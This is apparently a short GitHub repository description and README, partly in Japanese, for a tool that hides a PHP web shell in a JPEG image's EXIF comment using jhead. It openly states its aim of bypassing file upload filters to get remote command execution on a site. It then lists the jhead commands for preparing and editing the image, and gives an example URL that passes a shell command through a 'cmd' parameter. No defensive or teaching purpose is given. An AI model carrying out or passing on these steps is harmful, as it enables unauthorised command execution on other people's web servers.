jenderal92/inject-php-to-jpg-using-jheadJheadを使用してJPEG画像にPHPウェブシェルを注入するためのPHPスクリプトとガイド。巧妙に細工された画像ファイルを介してファイルアップロードフィルターをバイパスし、リモートコマンド実行を達成するために使用されます。
$ pkg install vim or apt-get install vim
$ pkg install jhead or apt-get install jhead
$ jhead -h (ヘルプを表示)
$ jhead -purejpg yourfiles.jpg
$ jhead -ce yourfiles.jpg
ESC を押して :x と入力し保存
$ jhead yourfiles.jpg
例 : site.com/youfiles.php?cmd=Command Here
